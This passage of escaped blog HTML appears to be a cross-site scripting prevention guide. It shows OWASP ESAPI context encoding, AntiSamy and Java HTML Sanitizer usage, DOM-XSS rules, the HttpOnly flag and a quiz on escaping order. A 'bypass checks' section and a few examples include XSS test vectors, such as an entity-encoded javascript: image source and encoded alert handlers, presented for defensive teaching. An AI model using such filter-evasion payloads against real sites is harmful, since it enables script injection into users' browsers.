&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;String&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;encoded&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;= ESAPI.encoder().encodeForJavaScript( request.getParameter( &quot;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;untrusted&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&quot; ) );&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Escape the untrusted data that goes in stylesheet or style tag.&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Just like javascript, there are some CSS contexts that can never take untrusted data even if escaped. For instance, background-url and expression.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;String&amp;nbsp; encoded&amp;nbsp;= ESAPI.encoder().encodeForCSS( request.getParameter( &quot;untrusted&quot; ) );&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Escape the untrusted data that goes in Html URL.&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Only encode the URL param for URL encoding:&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;String safe = ESAPI.encoder().encodeForURL( request.getParameter( &quot;input&quot; ) );&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Don&#39;t encode complete or relative URLs with URL encoding. We first need to validate it.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;boolean isValidURL = ESAPI.validator().isValidInput(&quot;URLContext&quot;, userURL, &quot;URL&quot;, 255, false);&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;if (isValidURL) {        &amp;lt;a href=&quot;&amp;lt;%=encoder.encodeForHTMLAttribute(userURL)%&amp;gt;&quot;&amp;gt;link&amp;lt;/a&amp;gt;  }&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Validate or clean user-driven HTML in an outbound way&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/pre&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;&lt;b&gt;OWASP AntiSamy&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp; import org.owasp.validator.html.*;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp; Policy policy = Policy.getInstance(POLICY_FILE_LOCATION);&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp; AntiSamy as = new AntiSamy();&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp; CleanResults cr = as.scan(dirtyInput, policy);&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp; MyUserDAO.storeUserProfile(cr.getCleanHTML()); // some custom function&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;OWASP Java HTML Sanitizer&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp; import org.owasp.html.Sanitizers;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp; import org.owasp.html.PolicyFactory;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp; PolicyFactory sanitizer = Sanitizers.FORMATTING.and(Sanitizers.BLOCKS);&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp; String cleanResults = sanitizer.sanitize(&quot;&amp;lt;p&amp;gt;Hello, &amp;lt;b&amp;gt;World!&amp;lt;/b&amp;gt;&quot;);&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;b&gt;
&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;b&gt;
&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;b&gt;DOM based XSS&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;It is extremely difficult to prevent DOM based XSS attacks because of the large surface area and lack of standardization across browsers.&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Rough guidelines to protect against DOM based XSS&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Always JavaScript encode and delimit untrusted data as quoted strings when entering the application. There are examples referenced below.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Use document.createElement(“…”), element.setAttribute(“…”,”value”), element.appendChild(…), etc. to build dynamic interfaces. For setAttribute, follow the restrictions below.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Avoid use of HTML rendering methods: element.innerHTML = “…”; element.outerHTML = “…”; document.write(…); document.writeln(…);&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Understand the dataflow of untrusted data through your JavaScript code. If you do have to use the methods above &lt;b&gt;&lt;i&gt;remember to HTML and then JavaScript encode&lt;/i&gt;&lt;/b&gt; the untrusted data.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;There are numerous methods which implicitly eval() data passed to it. Make sure that any untrusted data passed to these methods is delimited with string delimiters and enclosed within a closure or JavaScript encoded to N-levels based on usage, and wrapped in a custom function.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;b&gt;N-Levels of Encoding&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Depending upon the number of implicit eval(), we have to JS encode the untrusted data that many number of times.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Ideally, the correct way to apply encoding is to server-side encode first.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;var input = “&amp;lt;%=Encoder.encodeForJS(untrustedData)%&amp;gt;”;  //server-side encoding&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;window.location = ESAPI4JS.encodeForURL(input);  //URL encoding is happening in JS&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;document.writeln(ESAPI4JS.encodeForHTML(input));  //HTML encoding is happening in JS&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;b&gt;Note&lt;/b&gt;: Don&#39;t rely on JS encoding as the client side library could be subverted.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Use a level of indirection and avoid using untrusted data as direct object references.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;b&gt;Caja&lt;/b&gt;:&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;JavaScript implementation for &quot;virtual iframes&quot; based on the principles of object-capabilities.  Caja takes JavaScript (technically, ECMAScript 5 strict mode code), HTML, and CSS input and rewrites it into a safe subset plus a single JavaScript function with no free variables.  Instead of giving direct references to DOM objects, the host page typically gives references to wrappers that sanitize HTML, proxy URLs, and prevent redirecting the page;  prevent certain phishing, XSS and downloading malware.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Blindly encoding HTML is not enough. Even if we encode HTML that is set in the &quot;value&quot; attribute of an Html tag, it is automatically decoded when we access that value from JavaScript.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;perfom server side length checks on the input data&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;b&gt;Escape untrusted data in execution context.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;If we are in the execution context ( for instance within a script) then&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;first escape the HTML and then&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;escape the javascript&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Example:&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;element.innerHTML = “&amp;lt;%=Encoder.encodeForJavascript(encoder.encodeForHTML(untrustedData))%&amp;gt;”;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;While using Html attributes in Javascript context, typically they can be protected by Html Attribute encoding of the untrusted data, followed by Javascript encoding. However in the javascript context, we have the potential to break the data display if we do that. To avoid this:&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;x.setAttribute(“value”, ‘&amp;lt;%=encoder. encodeForJavaScript(untrusted)%&amp;gt;’);&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;The above rule (of escaping javascript) does not work in the event handlers and javascript code subcontexts.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp;primary recommendation is to avoid including untrusted data in this context.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;nbsp;Untrusted data that was properly JavaScript encoded but is still dangerous(&lt;i&gt;JavaScript encoding does not stop attacks within an execution context&lt;/i&gt;).&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;x.setAttribute(&quot;onclick&quot;, &quot;\u0061\u006c\u0065\u0072\u0074\u0028\u0032\u0032\u0029&quot;);&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;Though dangerous, directly setting event handler attributes will allow JavaScript encoding to mitigate against DOM based XSS.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;The following DOES WORK because the encoded value is a valid variable name or function reference.  &quot;testIt&quot; is JavaScript encoded:&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;document.getElementById(&quot;bb&quot;).onmouseover = \u0074\u0065\u0073\u0074\u0049\u0074;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;When within an execution context ( javascript code), we need to encode the URL followed by Javascript encoding to prevent against attacks in the url field and in setAttribute calls.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;document.body.style.backgroundImage = &quot;url(&amp;lt;%=encoder.encodeForJavaScript&amp;nbsp;(encoder.encodeForURL(untrusted))%&amp;gt;)&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;&lt;b&gt;Important&lt;/b&gt;: If you use the esapi function encodeForJavaScript() inside document.write, it is advised that you change them with other appropriate esapi functions depending on the context where the data is ultimately landing. For example, if you have document.write(“&amp;lt;script&amp;gt;alert(‘XSS’)&amp;lt;/script&amp;gt;”), you know the data is landing in html body context, so it is appropriate to use encodeForHTML() wrapper. Using user input inside eval is less common, but more disastrous. The reason for this is you can still begin another command context using , and (space) char and it won’t be encoded by function encodeForHTML(). So, it is better to avoid putting user input inside eval.&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;The below encodings &lt;b&gt;&lt;u&gt;&lt;i&gt;don&#39;t &lt;/i&gt;&lt;/u&gt;&lt;/b&gt;work. Example:&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;script&amp;gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;i&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;i&gt;document.write(&quot;&amp;lt;%= ESAPI.encoder().encodeForJavaScript(vulstr2) %&amp;gt;&quot;);&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;i&gt;eval(&quot;u=&amp;lt;%= ESAPI.encoder().encodeForJavaScript(vulstr3) %&amp;gt;&quot;);&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;i&gt;&amp;lt;/script&amp;gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;i&gt;An appropriate encoding is to use HTML encoding in the first case.&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;b&gt;HttpOnly&amp;nbsp;flag&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;With an HttpOnly flag (optional) in the response header, the cookie cannot be accessed through client side script. So, even if a cross-site scripting (XSS) flaw exists, the browser (primarily Internet Explorer) will not reveal the cookie to a third party.&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;i&gt;Set-Cookie: &amp;lt;name&amp;gt;=&amp;lt;value&amp;gt;[; &amp;lt;Max-Age&amp;gt;=&amp;lt;age&amp;gt;]
[; expires=&amp;lt;date&amp;gt;][; domain=&amp;lt;domain_name&amp;gt;]
[; path=&amp;lt;some_path&amp;gt;][; secure][; HttpOnly]&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;b&gt;
&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;&lt;b&gt;Attempts to bypass checks.&lt;/b&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;An attacker can encode portions of the javascript malicious code to hide against any checks. For instance &quot;a&quot; is encoded as UTF-8.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&amp;lt;IMG SRC=j&amp;amp;#X41vascript:alert(&#39;test2&#39;)&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Tips&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;XSS attacks can be carried out without using the &amp;lt;script&amp;gt; tags inside html attributes like onload, onerror etc.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Output validation is the most important and is mandatory. Performing strict input validation should be viewed as a secondary failover.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;White-listed&amp;nbsp;input validation. Data contains only a predefined list of characters.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;Eliminate dangerous insertion points.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Test&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;What do we escape and in which order?&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot; id=&quot;1099-3&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; white-space: normal;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;i&gt;&amp;lt;a href=”javascript:myFunction(‘&amp;lt;%=untrusted%&amp;gt;’, &#39;test&#39;);”&amp;gt;Click Me&amp;lt;/a&amp;gt;
...
&amp;lt;script&amp;gt;
Function myFunction (url,name) {
    window.location = url;
}
&amp;lt;/script&amp;gt;&lt;/i&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Answer&lt;/b&gt;:&lt;/div&gt;
&lt;div&gt;
In the above example, untrusted data started in the rendering URL context (href attribute of an &amp;lt;a&amp;gt; tag) then changed to a JavaScript execution context (javascript: protocol handler) which passed the untrusted data to an execution URL subcontext (window.location of myFunction).&amp;nbsp;&lt;/div&gt;
